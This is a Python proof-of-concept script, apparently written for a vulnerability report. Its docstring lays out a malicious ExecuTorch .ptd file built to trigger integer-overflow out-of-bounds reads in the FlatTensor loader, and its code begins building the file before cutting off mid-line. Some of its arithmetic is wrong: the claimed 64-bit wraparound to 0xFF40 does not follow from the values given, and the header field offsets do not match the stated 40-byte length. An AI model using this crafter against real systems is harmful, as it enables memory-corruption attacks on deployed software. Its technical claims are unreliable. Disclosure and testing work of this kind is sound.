""" Static crafter for the malicious .ptd PoC. Builds a byte-exact ExecuTorch FlatTensor (.ptd) file whose two header fields overflow on `u64 + u64` -> `size_t` truncation at `extension/flat_tensor/flat_tensor_data_map.cpp:224` and :236. The file is NOT a valid loadable .ptd; it is a minimal byte stream designed to trigger the integer overflow at parser entry. Inspect with `xxd malicious.ptd` to verify the wraparound-mate header values. Reference layout: ExecuTorch's `serialize/flat_tensor_header.cpp` parses a 40-byte header at fixed offsets after a small preamble. [0x00..0x07] 8 bytes arbitrary preamble (kHeaderOffset slack) [0x08..0x0B] "FH01" magic (extension/flat_tensor/serialize/file_format_constants.h) [0x0C..0x0F] 0x00000028 header_length = 40 (kMinimumHeaderLength) [0x10..0x17] uint64_t flatbuffer_offset = 0x0000_0000_0000_0040 [0x18..0x1F] uint64_t flatbuffer_size = 0xFFFF_FFFF_FFFF_FF00 <-- wraparound mate [0x20..0x27] uint64_t segment_base_offset = 0x0000_0000_FFFF_FFFF [0x28..0x2F] uint64_t segment_data_size = 0x0000_0001_0000_0041 <-- 32-bit overflow on ARMv7 [0x30..0x3F] 16 bytes reserved / padding [0x40..] payload: fake FT01 flatbuffer identifier + crafted vtable On a 64-bit host (size_t == uint64_t): flatbuffer_offset + flatbuffer_size = 0x40 + 0xFFFFFFFFFFFFFF00 = 0x0000_0000_0000_0040 + 0xFFFF_FFFF_FFFF_FF00 = wraps to 0x0000_0000_0000_FF40 (loses the carry) -> consumed as size_t at flat_tensor_data_map.cpp:236 as a load LENGTH -> loader maps ~65 KB instead of ~16 EB; FlatBuffer parser then reads 32-bit vtable offsets into freed/unrelated heap behind the legit buffer On 32-bit ARM (size_t == uint32_t): segment_base_offset + segment_data_size = 0xFFFFFFFF + 0x100000041 (truncated to 0x41 in uint32_t arithmetic) = 0xFFFFFFFF + 0x00000041 = wraps to 0x0000_0040 -> size check `expected_size <= actual_size` trivially passes No ExecuTorch build required to inspect the bytes; building ExecuTorch and running `FlatTensorDataMap::load("malicious.ptd")` produces a controlled OOB read confirmable under ASan. """ import struct from pathlib import Path OUT = Path(__file__).parent / "malicious.ptd" # ----- assemble preamble ----- preamble = b"\x00" * 8 # kHeaderOffset slack — first 8 bytes are arbitrary # ----- assemble FlatTensor header ----- magic = b"FH01" # 4 bytes header_length = struct.pack("